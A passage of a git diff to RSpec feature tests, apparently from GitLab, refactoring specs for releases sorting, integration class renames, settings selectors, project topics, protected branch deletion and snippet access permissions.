+ click_button(by, class: 'dropdown-item')
- find('.sorting-direction-button').click if direction == :ascending
+ find('.sorting-direction-button').click if direction == :ascending
+ end
end
- end
- shared_examples 'releases sort order' do
- it "sorts the releases #{description}" do
- card_titles = page.all('.release-block .card-title', minimum: expected_releases.count)
+ shared_examples 'releases sort order' do
+ it "sorts the releases #{description}" do
+ card_titles = page.all('.release-block .card-title', minimum: expected_releases.count)
- card_titles.each_with_index do |title, index|
- expect(title).to have_content(expected_releases[index].name)
+ card_titles.each_with_index do |title, index|
+ expect(title).to have_content(expected_releases[index].name)
+ end
end
end
- end
- context "when the page is sorted by the default sort order" do
- let(:expected_releases) { [release_v3, release_v2, release_v1] }
+ context "when the page is sorted by the default sort order" do
+ let(:expected_releases) { [release_v3, release_v2, release_v1] }
- it_behaves_like 'releases sort order'
- end
+ it_behaves_like 'releases sort order'
+ end
- context "when the page is sorted by created_at ascending " do
- let(:expected_releases) { [release_v2, release_v1, release_v3] }
+ context "when the page is sorted by created_at ascending " do
+ let(:expected_releases) { [release_v2, release_v1, release_v3] }
- before do
- sort_page by: 'Created date', direction: :ascending
+ before do
+ sort_page by: 'Created date', direction: :ascending
+ end
+
+ it_behaves_like 'releases sort order'
end
+ end
+ end
+
+ context('when the user is a guest') do
+ before do
+ sign_in(guest)
+ end
+
+ it 'renders release info except for Git-related data' do
+ visit project_releases_path(project)
+
+ within('.release-block', match: :first) do
+ expect(page).to have_content(release_v3.description)
- it_behaves_like 'releases sort order'
+ # The following properties (sometimes) include Git info,
+ # so they are not rendered for Guest users
+ expect(page).not_to have_content(release_v3.name)
+ expect(page).not_to have_content(release_v3.tag)
+ expect(page).not_to have_content(release_v3.commit.short_id)
+ end
end
end
end
- context('when the user is a guest') do
+ context 'when the releases_index_apollo_client feature flag is enabled' do
before do
- sign_in(guest)
+ stub_feature_flags(releases_index_apollo_client: true)
end
- it 'renders release info except for Git-related data' do
- visit project_releases_path(project)
-
- within('.release-block', match: :first) do
- expect(page).to have_content(release_v3.description)
+ it_behaves_like 'releases index page'
+ end
- # The following properties (sometimes) include Git info,
- # so they are not rendered for Guest users
- expect(page).not_to have_content(release_v3.name)
- expect(page).not_to have_content(release_v3.tag)
- expect(page).not_to have_content(release_v3.commit.short_id)
- end
+ context 'when the releases_index_apollo_client feature flag is disabled' do
+ before do
+ stub_feature_flags(releases_index_apollo_client: false)
end
+
+ it_behaves_like 'releases index page'
end
end
diff --git a/spec/features/projects/serverless/functions_spec.rb b/spec/features/projects/serverless/functions_spec.rb
index a0b06d7e2a1..db8c2a24f2f 100644
--- a/spec/features/projects/serverless/functions_spec.rb
+++ b/spec/features/projects/serverless/functions_spec.rb
@@ -25,7 +25,6 @@ RSpec.describe 'Functions', :js do
end
it 'sees an empty state require Knative installation' do
- expect(page).to have_link('Install Knative')
expect(page).to have_selector('.empty-state')
end
end
diff --git a/spec/features/projects/services/disable_triggers_spec.rb b/spec/features/projects/services/disable_triggers_spec.rb
index d9e200cf563..c6413685f38 100644
--- a/spec/features/projects/services/disable_triggers_spec.rb
+++ b/spec/features/projects/services/disable_triggers_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Disable individual triggers', :js do
let(:service_name) { 'Jenkins' }
it 'shows trigger checkboxes' do
- event_count = JenkinsService.supported_events.count
+ event_count = Integrations::Jenkins.supported_events.count
expect(page).to have_content "Trigger"
expect(page).to have_css(checkbox_selector, visible: :all, count: event_count)
diff --git a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
index 54a501e89a2..b2ca0424b6d 100644
--- a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
+++ b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
@@ -14,35 +14,10 @@ RSpec.describe 'Set up Mattermost slash commands', :js do
context 'mattermost service is enabled' do
let(:mattermost_enabled) { true }
- it 'shows a help message' do
- expect(page).to have_content("Use this service to perform common")
- end
-
- it 'shows a token placeholder' do
- token_placeholder = find_field('service_token')['placeholder']
-
- expect(token_placeholder).to eq('XXxxXXxxXXxxXXxxXXxxXXxx')
- end
-
- it 'redirects to the integrations page after saving but not activating' do
- token = ('a'..'z').to_a.join
-
- fill_in 'service_token', with: token
- click_active_checkbox
- click_save_integration
-
- expect(current_path).to eq(edit_project_service_path(project, :mattermost_slash_commands))
- expect(page).to have_content('Mattermost slash commands settings saved, but not active.')
- end
-
- it 'redirects to the integrations page after activating' do
- token = ('a'..'z').to_a.join
-
- fill_in 'service_token', with: token
- click_save_integration
+ describe 'activation' do
+ let(:edit_path) { edit_project_service_path(project, :mattermost_slash_commands) }
- expect(current_path).to eq(edit_project_service_path(project, :mattermost_slash_commands))
- expect(page).to have_content('Mattermost slash commands settings saved and active.')
+ include_examples 'user activates the Mattermost Slash Command integration'
end
it 'shows the add to mattermost button' do
@@ -109,7 +84,7 @@ RSpec.describe 'Set up Mattermost slash commands', :js do
end
it 'shows an error alert with the error message if there is an error requesting teams' do
- allow_any_instance_of(MattermostSlashCommandsService).to receive(:list_teams) { [[], 'test mattermost error message'] }
+ allow_any_instance_of(Integrations::MattermostSlashCommands).to receive(:list_teams) { [[], 'test mattermost error message'] }
click_link 'Add to Mattermost'
@@ -138,7 +113,7 @@ RSpec.describe 'Set up Mattermost slash commands', :js do
def stub_teams(count: 0)
teams = create_teams(count)
- allow_any_instance_of(MattermostSlashCommandsService).to receive(:list_teams) { [teams, nil] }
+ allow_any_instance_of(Integrations::MattermostSlashCommands).to receive(:list_teams) { [teams, nil] }
teams
end
diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
index 0cba1ee1c4c..dec83ff1489 100644
--- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'User activates Slack notifications', :js do
end
context 'when service is already configured' do
- let(:service) { SlackService.new }
+ let(:service) { Integrations::Slack.new }
let(:project) { create(:project, slack_service: service) }
before do
diff --git a/spec/features/projects/settings/monitor_settings_spec.rb b/spec/features/projects/settings/monitor_settings_spec.rb
index 64138e0aeca..971a747e64f 100644
--- a/spec/features/projects/settings/monitor_settings_spec.rb
+++ b/spec/features/projects/settings/monitor_settings_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
visit project_settings_operations_path(project)
wait_for_requests
- click_expand_incident_management_button
+ click_settings_tab
end
it 'renders form for incident management' do
@@ -60,22 +60,24 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
click_on('bug')
save_form
- click_expand_incident_management_button
+ click_settings_tab
expect(find_field(create_issue)).to be_checked
expect(page).to have_selector(:id, 'alert-integration-settings-issue-template', text: 'bug')
+
+ click_settings_tab
expect(find_field(send_email)).not_to be_checked
end
- def click_expand_incident_management_button
- within '.qa-incident-management-settings' do
- click_button('Expand')
+ def click_settings_tab
+ within '[data-testid="alert-integration-settings"]' do
+ click_link 'Alert settings'
end
end
def save_form
- page.within ".qa-incident-management-settings" do
- click_on 'Save changes'
+ page.within '[data-testid="alert-integration-settings"]' do
+ click_button 'Save changes'
end
end
end
diff --git a/spec/features/projects/settings/registry_settings_spec.rb b/spec/features/projects/settings/registry_settings_spec.rb
index 6a2769d11fd..1cc54b71d4a 100644
--- a/spec/features/projects/settings/registry_settings_spec.rb
+++ b/spec/features/projects/settings/registry_settings_spec.rb
@@ -24,14 +24,14 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
it 'shows available section' do
subject
- settings_block = find('#js-registry-policies')
+ settings_block = find('[data-testid="registry-settings-app"]')
expect(settings_block).to have_text 'Clean up image tags'
end
it 'saves cleanup policy submit the form' do
subject
- within '#js-registry-policies' do
+ within '[data-testid="registry-settings-app"]' do
select('Every day', from: 'Run cleanup')
select('50 tags per image name', from: 'Keep the most recent:')
fill_in('Keep tags matching:', with: 'stable')
@@ -49,7 +49,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
it 'does not save cleanup policy submit form with invalid regex' do
subject
- within '#js-registry-policies' do
+ within '[data-testid="registry-settings-app"]' do
fill_in('Remove tags matching:', with: '*-production')
submit_button = find('[data-testid="save-button"')
@@ -80,7 +80,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
it 'displays the expected result' do
subject
- within '#js-registry-policies' do
+ within '[data-testid="registry-settings-app"]' do
case result
when :available_section
expect(find('[data-testid="enable-toggle"]')).to have_content('Disabled - Tags will not be automatically deleted.')
@@ -98,7 +98,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
it 'does not exists' do
subject
- expect(page).not_to have_selector('#js-registry-policies')
+ expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
end
end
@@ -108,7 +108,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
it 'does not exists' do
subject
- expect(page).not_to have_selector('#js-registry-policies')
+ expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
end
end
end
diff --git a/spec/features/projects/settings/service_desk_setting_spec.rb b/spec/features/projects/settings/service_desk_setting_spec.rb
index 50451075db5..91355d8f625 100644
--- a/spec/features/projects/settings/service_desk_setting_spec.rb
+++ b/spec/features/projects/settings/service_desk_setting_spec.rb
@@ -89,25 +89,10 @@ RSpec.describe 'Service Desk Setting', :js, :clean_gitlab_redis_cache do
before do
stub_licensed_features(custom_file_templates_for_namespace: false, custom_file_templates: false)
group.update_columns(file_template_project_id: group_template_repo.id)
+ visit edit_project_path(project)
end
- context 'when inherited_issuable_templates enabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: true)
- visit edit_project_path(project)
- end
-
- it_behaves_like 'issue description templates from current project only'
- end
-
- context 'when inherited_issuable_templates disabled' do
- before do
- stub_feature_flags(inherited_issuable_templates: false)
- visit edit_project_path(project)
- end
-
- it_behaves_like 'issue description templates from current project only'
- end
+ it_behaves_like 'issue description templates from current project only'
end
end
end
diff --git a/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb b/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
index bf90e86c263..862bae45fc6 100644
--- a/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
+++ b/spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb
@@ -116,7 +116,8 @@ RSpec.describe 'Projects > Settings > User manages merge request settings' do
click_on('Save changes')
end
- find('.flash-notice')
+ wait_for_all_requests
+
checkbox = find_field('project_printing_merge_request_link_enabled')
expect(checkbox).not_to be_checked
@@ -139,7 +140,8 @@ RSpec.describe 'Projects > Settings > User manages merge request settings' do
click_on('Save changes')
end
- find('.flash-notice')
+ wait_for_all_requests
+
checkbox = find_field('project_remove_source_branch_after_merge')
expect(checkbox).not_to be_checked
diff --git a/spec/features/projects/settings/user_searches_in_settings_spec.rb b/spec/features/projects/settings/user_searches_in_settings_spec.rb
index 9b09958bae5..a60743f0e47 100644
--- a/spec/features/projects/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/projects/settings/user_searches_in_settings_spec.rb
@@ -63,7 +63,7 @@ RSpec.describe 'User searches project settings', :js do
visit project_settings_operations_path(project)
end
- it_behaves_like 'can search settings', 'Alert integrations', 'Error tracking'
+ it_behaves_like 'can search settings', 'Alerts', 'Error tracking'
end
context 'in Pages page' do
diff --git a/spec/features/projects/show/schema_markup_spec.rb b/spec/features/projects/show/schema_markup_spec.rb
index 1777b72cbf5..28803db924a 100644
--- a/spec/features/projects/show/schema_markup_spec.rb
+++ b/spec/features/projects/show/schema_markup_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Projects > Show > Schema Markup' do
- let_it_be(:project) { create(:project, :repository, :public, :with_avatar, description: 'foobar', tag_list: 'tag1, tag2') }
+ let_it_be(:project) { create(:project, :repository, :public, :with_avatar, description: 'foobar', topic_list: 'topic1, topic2') }
it 'shows SoftwareSourceCode structured markup', :js do
visit project_path(project)
@@ -16,7 +16,7 @@ RSpec.describe 'Projects > Show > Schema Markup' do
expect(page).to have_selector('[itemprop="identifier"]', text: "Project ID: #{project.id}")
expect(page).to have_selector('[itemprop="description"]', text: project.description)
expect(page).to have_selector('[itemprop="license"]', text: project.repository.license.name)
- expect(find_all('[itemprop="keywords"]').map(&:text)).to match_array(project.tag_list.map(&:capitalize))
+ expect(find_all('[itemprop="keywords"]').map(&:text)).to match_array(project.topic_list.map(&:capitalize))
expect(page).to have_selector('[itemprop="about"]')
end
end
diff --git a/spec/features/projects/show/user_sees_collaboration_links_spec.rb b/spec/features/projects/show/user_sees_collaboration_links_spec.rb
index ffdfbb9fe81..613033373e8 100644
--- a/spec/features/projects/show/user_sees_collaboration_links_spec.rb
+++ b/spec/features/projects/show/user_sees_collaboration_links_spec.rb
@@ -12,6 +12,10 @@ RSpec.describe 'Projects > Show > Collaboration links', :js do
sign_in(user)
end
+ def find_new_menu_toggle
+ find('#js-onboarding-new-project-link')
+ end
+
context 'with developer user' do
before do
project.add_developer(user)
@@ -22,7 +26,7 @@ RSpec.describe 'Projects > Show > Collaboration links', :js do
# The navigation bar
page.within('.header-new') do
- find('.qa-new-menu-toggle').click
+ find_new_menu_toggle.click
aggregate_failures 'dropdown links in the navigation bar' do
expect(page).to have_link('New issue')
@@ -30,7 +34,7 @@ RSpec.describe 'Projects > Show > Collaboration links', :js do
expect(page).to have_link('New snippet', href: new_project_snippet_path(project))
end
- find('.qa-new-menu-toggle').click
+ find_new_menu_toggle.click
end
# The dropdown above the tree
@@ -56,7 +60,7 @@ RSpec.describe 'Projects > Show > Collaboration links', :js do
visit project_path(project)
page.within('.header-new') do
- find('.qa-new-menu-toggle').click
+ find_new_menu_toggle.click
aggregate_failures 'dropdown links' do
expect(page).not_to have_link('New issue')
@@ -64,7 +68,7 @@ RSpec.describe 'Projects > Show > Collaboration links', :js do
expect(page).not_to have_link('New snippet', href: new_project_snippet_path(project))
end
- find('.qa-new-menu-toggle').click
+ find_new_menu_toggle.click
end
expect(page).not_to have_selector('.qa-add-to-tree')
diff --git a/spec/features/projects/user_uses_shortcuts_spec.rb b/spec/features/projects/user_uses_shortcuts_spec.rb
index 1350ecf6e75..2f7844ff615 100644
--- a/spec/features/projects/user_uses_shortcuts_spec.rb
+++ b/spec/features/projects/user_uses_shortcuts_spec.rb
@@ -3,11 +3,11 @@
require 'spec_helper'
RSpec.describe 'User uses shortcuts', :js do
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:user) { project.owner }
before do
- project.add_maintainer(user)
sign_in(user)
visit(project_path(project))
@@ -74,7 +74,7 @@ RSpec.describe 'User uses shortcuts', :js do
find('body').native.send_key('g')
find('body').native.send_key('p')
- expect(page).to have_active_navigation('Project')
+ expect(page).to have_active_navigation(project.name)
end
context 'when feature flag :sidebar_refactor is disabled' do
diff --git a/spec/features/projects/user_views_empty_project_spec.rb b/spec/features/projects/user_views_empty_project_spec.rb
index 3d4d9a7ea96..cce38456df9 100644
--- a/spec/features/projects/user_views_empty_project_spec.rb
+++ b/spec/features/projects/user_views_empty_project_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe 'User views an empty project' do
- let(:project) { create(:project, :empty_repo) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :empty_repo) }
+ let_it_be(:user) { create(:user) }
shared_examples 'allowing push to default branch' do
it 'shows push-to-master instructions' do
@@ -14,17 +14,25 @@ RSpec.describe 'User views an empty project' do
end
end
- describe 'as a maintainer' do
+ context 'when user is a maintainer' do
before do
project.add_maintainer(user)
sign_in(user)
end
it_behaves_like 'allowing push to default branch'
+
+ it 'shows a link for inviting members and launches invite modal', :js do
+ visit project_path(project)
+
+ click_button 'Invite members'
+
+ expect(page).to have_content("You're inviting members to the")
+ end
end
- describe 'as an admin' do
- let(:user) { create(:user, :admin) }
+ context 'when user is an admin' do
+ let_it_be(:user) { create(:user, :admin) }
context 'when admin mode is enabled' do
before do
@@ -44,16 +52,17 @@ RSpec.describe 'User views an empty project' do
end
end
- describe 'as a developer' do
+ context 'when user is a developer' do
before do
project.add_developer(user)
sign_in(user)
end
- it 'does not show push-to-master instructions' do
+ it 'does not show push-to-master instructions nor invite members link', :aggregate_failures, :js do
visit project_path(project)
expect(page).not_to have_content('git push -u origin master')
+ expect(page).not_to have_button(text: 'Invite members')
end
end
end
diff --git a/spec/features/projects/wiki/user_views_wiki_empty_spec.rb b/spec/features/projects/wiki/user_views_wiki_empty_spec.rb
index 1f460f39267..ea045ddb6a1 100644
--- a/spec/features/projects/wiki/user_views_wiki_empty_spec.rb
+++ b/spec/features/projects/wiki/user_views_wiki_empty_spec.rb
@@ -75,7 +75,7 @@ RSpec.describe 'Project > User views empty wiki' do
context 'and Confluence is already enabled' do
before do
- create(:confluence_service, project: project)
+ create(:confluence_integration, project: project)
end
it_behaves_like 'empty wiki message', writable: true, issuable: true, confluence: false
diff --git a/spec/features/projects/wiki/user_views_wiki_in_project_page_spec.rb b/spec/features/projects/wiki/user_views_wiki_in_project_page_spec.rb
index 30b94495e3d..63ee89bd11f 100644
--- a/spec/features/projects/wiki/user_views_wiki_in_project_page_spec.rb
+++ b/spec/features/projects/wiki/user_views_wiki_in_project_page_spec.rb
@@ -3,15 +3,12 @@
require 'spec_helper'
RSpec.describe 'Projects > Wiki > User views wiki in project page' do
- let(:user) { create(:user) }
-
before do
- project.add_maintainer(user)
- sign_in(user)
+ sign_in(project.owner)
end
context 'when repository is disabled for project' do
- let(:project) do
+ let_it_be(:project) do
create(:project,
:wiki_repo,
:repository_disabled,
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index c18b0f2688b..2ac829d406c 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -128,23 +128,23 @@ RSpec.describe 'Project' do
end
it 'shows project topics' do
- project.update_attribute(:tag_list, 'topic1')
+ project.update_attribute(:topic_list, 'topic1')
visit path
expect(page).to have_css('.home-panel-topic-list')
- expect(page).to have_link('Topic1', href: explore_projects_path(tag: 'topic1'))
+ expect(page).to have_link('Topic1', href: explore_projects_path(topic: 'topic1'))
end
- it 'shows up to 3 project tags' do
- project.update_attribute(:tag_list, 'topic1, topic2, topic3, topic4')
+ it 'shows up to 3 project topics' do
+ project.update_attribute(:topic_list, 'topic1, topic2, topic3, topic4')
visit path
expect(page).to have_css('.home-panel-topic-list')
- expect(page).to have_link('Topic1', href: explore_projects_path(tag: 'topic1'))
- expect(page).to have_link('Topic2', href: explore_projects_path(tag: 'topic2'))
- expect(page).to have_link('Topic3', href: explore_projects_path(tag: 'topic3'))
+ expect(page).to have_link('Topic1', href: explore_projects_path(topic: 'topic1'))
+ expect(page).to have_link('Topic2', href: explore_projects_path(topic: 'topic2'))
+ expect(page).to have_link('Topic3', href: explore_projects_path(topic: 'topic3'))
expect(page).to have_content('+ 1 more')
end
end
diff --git a/spec/features/protected_branches_spec.rb b/spec/features/protected_branches_spec.rb
index 207b74c990a..6fbed21acdb 100644
--- a/spec/features/protected_branches_spec.rb
+++ b/spec/features/protected_branches_spec.rb
@@ -21,13 +21,28 @@ RSpec.describe 'Protected Branches', :js do
expect(ProtectedBranch.count).to eq(1)
end
- it 'does not allow developer to removes protected branch' do
+ it 'does not allow developer to remove protected branch' do
visit project_branches_path(project)
find('input[data-testid="branch-search"]').set('fix')
find('input[data-testid="branch-search"]').native.send_keys(:enter)
- expect(page).to have_css('.btn-danger.disabled')
+ expect(page).to have_button('Only a project maintainer or owner can delete a protected branch', disabled: true)
+ end
+
+ context 'when feature flag :delete_branch_confirmation_modals is disabled' do
+ before do
+ stub_feature_flags(delete_branch_confirmation_modals: false)
+ end
+
+ it 'does not allow developer to remove protected branch' do
+ visit project_branches_path(project)
+
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
+
+ expect(page).to have_selector('button[data-testid="remove-protected-branch"][disabled]')
+ end
end
end
end
@@ -52,17 +67,44 @@ RSpec.describe 'Protected Branches', :js do
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
- page.find('[data-target="#modal-delete-branch"]').click
- expect(page).to have_css('.js-delete-branch[disabled]')
+ expect(page).to have_button('Delete protected branch', disabled: false)
+
+ page.find('.js-delete-branch-button').click
fill_in 'delete_branch_input', with: 'fix'
- click_link 'Delete protected branch'
+ click_button 'Yes, delete protected branch'
find('input[data-testid="branch-search"]').set('fix')
find('input[data-testid="branch-search"]').native.send_keys(:enter)
expect(page).to have_content('No branches to show')
end
+
+ context 'when the feature flag :delete_branch_confirmation_modals is disabled' do
+ before do
+ stub_feature_flags(delete_branch_confirmation_modals: false)
+ end
+
+ it 'removes branch after modal confirmation' do
+ visit project_branches_path(project)
+
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
+
+ expect(page).to have_content('fix')
+ expect(find('.all-branches')).to have_selector('li', count: 1)
+ page.find('[data-target="#modal-delete-branch"]').click
+
+ expect(page).to have_css('.js-delete-branch[disabled]')
+ fill_in 'delete_branch_input', with: 'fix'
+ click_link 'Delete protected branch'
+
+ find('input[data-testid="branch-search"]').set('fix')
+ find('input[data-testid="branch-search"]').native.send_keys(:enter)
+
+ expect(page).to have_content('No branches to show')
+ end
+ end
end
end
diff --git a/spec/features/search/user_searches_for_code_spec.rb b/spec/features/search/user_searches_for_code_spec.rb
index ee3717b3e42..094b31ba784 100644
--- a/spec/features/search/user_searches_for_code_spec.rb
+++ b/spec/features/search/user_searches_for_code_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'User searches for code' do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
end
diff --git a/spec/features/search/user_searches_for_issues_spec.rb b/spec/features/search/user_searches_for_issues_spec.rb
index 828e478d701..184f8ba0d36 100644
--- a/spec/features/search/user_searches_for_issues_spec.rb
+++ b/spec/features/search/user_searches_for_issues_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe 'User searches for issues', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
search_for_issue(issue1.title)
diff --git a/spec/features/search/user_searches_for_merge_requests_spec.rb b/spec/features/search/user_searches_for_merge_requests_spec.rb
index 7271716644b..32952a127d3 100644
--- a/spec/features/search/user_searches_for_merge_requests_spec.rb
+++ b/spec/features/search/user_searches_for_merge_requests_spec.rb
@@ -29,6 +29,11 @@ RSpec.describe 'User searches for merge requests', :js do
page.within('.results') do
expect(page).to have_link(merge_request1.title)
expect(page).not_to have_link(merge_request2.title)
+
+ # Each result should have MR refs like `gitlab-org/gitlab!1`
+ page.all('.search-result-row').each do |e|
+ expect(e.text).to match(/!\d+/)
+ end
end
end
@@ -55,7 +60,7 @@ RSpec.describe 'User searches for merge requests', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
search_for_mr(merge_request1.title)
diff --git a/spec/features/search/user_searches_for_milestones_spec.rb b/spec/features/search/user_searches_for_milestones_spec.rb
index f4df91dbc08..e81abb44ba5 100644
--- a/spec/features/search/user_searches_for_milestones_spec.rb
+++ b/spec/features/search/user_searches_for_milestones_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe 'User searches for milestones', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
fill_in('dashboard_search', with: milestone1.title)
diff --git a/spec/features/search/user_searches_for_wiki_pages_spec.rb b/spec/features/search/user_searches_for_wiki_pages_spec.rb
index 72bd1193fc9..8913f1fe9ee 100644
--- a/spec/features/search/user_searches_for_wiki_pages_spec.rb
+++ b/spec/features/search/user_searches_for_wiki_pages_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'User searches for wiki pages', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
fill_in('dashboard_search', with: search_term)
diff --git a/spec/features/search/user_uses_header_search_field_spec.rb b/spec/features/search/user_uses_header_search_field_spec.rb
index 4c42800cf05..c002d199b01 100644
--- a/spec/features/search/user_uses_header_search_field_spec.rb
+++ b/spec/features/search/user_uses_header_search_field_spec.rb
@@ -55,7 +55,7 @@ RSpec.describe 'User uses header search field', :js do
expect(page).to have_selector('.dropdown-header', text: /#{scope_name}/i)
end
- context 'when clicking issues' do
+ context 'when clicking issues', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332317' do
let!(:issue) { create(:issue, project: project, author: user, assignees: [user]) }
it 'shows assigned issues' do
@@ -75,7 +75,7 @@ RSpec.describe 'User uses header search field', :js do
end
end
- context 'when clicking merge requests' do
+ context 'when clicking merge requests', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332317' do
let!(:merge_request) { create(:merge_request, source_project: project, author: user, assignees: [user]) }
it 'shows assigned merge requests' do
diff --git a/spec/features/search/user_uses_search_filters_spec.rb b/spec/features/search/user_uses_search_filters_spec.rb
index 86017ca64c5..24f6c70e64c 100644
--- a/spec/features/search/user_uses_search_filters_spec.rb
+++ b/spec/features/search/user_uses_search_filters_spec.rb
@@ -33,10 +33,10 @@ RSpec.describe 'User uses search filters', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(group_project.full_name)
+ click_on(group_project.name)
end
- expect(find('[data-testid="project-filter"]')).to have_content(group_project.full_name)
+ expect(find('[data-testid="project-filter"]')).to have_content(group_project.name)
end
context 'when the group filter is set' do
@@ -65,10 +65,10 @@ RSpec.describe 'User uses search filters', :js do
wait_for_requests
page.within('[data-testid="project-filter"]') do
- click_on(project.full_name)
+ click_on(project.name)
end
- expect(find('[data-testid="project-filter"]')).to have_content(project.full_name)
+ expect(find('[data-testid="project-filter"]')).to have_content(project.name)
end
context 'when the project filter is set' do
diff --git a/spec/features/security/project/snippet/private_access_spec.rb b/spec/features/security/project/snippet/private_access_spec.rb
index 0f7ae06a6c5..0c06841399d 100644
--- a/spec/features/security/project/snippet/private_access_spec.rb
+++ b/spec/features/security/project/snippet/private_access_spec.rb
@@ -5,23 +5,25 @@ require 'spec_helper'
RSpec.describe "Private Project Snippets Access" do
include AccessMatchers
- let(:project) { create(:project, :private) }
-
- let(:private_snippet) { create(:project_snippet, :private, project: project, author: project.owner) }
+ let_it_be(:project) { create(:project, :private) }
+ let_it_be(:private_snippet) { create(:project_snippet, :private, project: project, author: project.owner) }
describe "GET /:project_path/snippets" do
subject { project_snippets_path(project) }
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
- it { is_expected.to be_allowed_for(:owner).of(project) }
- it { is_expected.to be_allowed_for(:maintainer).of(project) }
- it { is_expected.to be_allowed_for(:developer).of(project) }
- it { is_expected.to be_allowed_for(:reporter).of(project) }
- it { is_expected.to be_allowed_for(:guest).of(project) }
- it { is_expected.to be_denied_for(:user) }
- it { is_expected.to be_denied_for(:external) }
- it { is_expected.to be_denied_for(:visitor) }
+
+ specify :aggregate_failures do
+ is_expected.to be_allowed_for(:owner).of(project)
+ is_expected.to be_allowed_for(:maintainer).of(project)
+ is_expected.to be_allowed_for(:developer).of(project)
+ is_expected.to be_allowed_for(:reporter).of(project)
+ is_expected.to be_allowed_for(:guest).of(project)
+ is_expected.to be_denied_for(:user)
+ is_expected.to be_denied_for(:external)
+ is_expected.to be_denied_for(:visitor)
+ end
end
describe "GET /:project_path/snippets/new" do
@@ -29,14 +31,17 @@ RSpec.describe "Private Project Snippets Access" do
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
- it { is_expected.to be_allowed_for(:owner).of(project) }
- it { is_expected.to be_allowed_for(:maintainer).of(project) }
- it { is_expected.to be_allowed_for(:developer).of(project) }
- it { is_expected.to be_allowed_for(:reporter).of(project) }
- it { is_expected.to be_denied_for(:guest).of(project) }
- it { is_expected.to be_denied_for(:user) }
- it { is_expected.to be_denied_for(:external) }
- it { is_expected.to be_denied_for(:visitor) }
+
+ specify :aggregate_failures do
+ is_expected.to be_allowed_for(:maintainer).of(project)
+ is_expected.to be_allowed_for(:owner).of(project)
+ is_expected.to be_allowed_for(:developer).of(project)
+ is_expected.to be_allowed_for(:reporter).of(project)
+ is_expected.to be_denied_for(:guest).of(project)
+ is_expected.to be_denied_for(:user)
+ is_expected.to be_denied_for(:external)
+ is_expected.to be_denied_for(:visitor)
+ end
end
describe "GET /:project_path/snippets/:id for a private snippet" do
@@ -44,14 +49,17 @@ RSpec.describe "Private Project Snippets Access" do
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
- it { is_expected.to be_allowed_for(:owner).of(project) }
- it { is_expected.to be_allowed_for(:maintainer).of(project) }
- it { is_expected.to be_allowed_for(:developer).of(project) }
- it { is_expected.to be_allowed_for(:reporter).of(project) }
- it { is_expected.to be_allowed_for(:guest).of(project) }
- it { is_expected.to be_denied_for(:user) }
- it { is_expected.to be_denied_for(:external) }
- it { is_expected.to be_denied_for(:visitor) }
+
+ specify :aggregate_failures do
+ is_expected.to be_allowed_for(:owner).of(project)
+ is_expected.to be_allowed_for(:maintainer).of(project)
+ is_expected.to be_allowed_for(:developer).of(project)
+ is_expected.to be_allowed_for(:reporter).of(project)
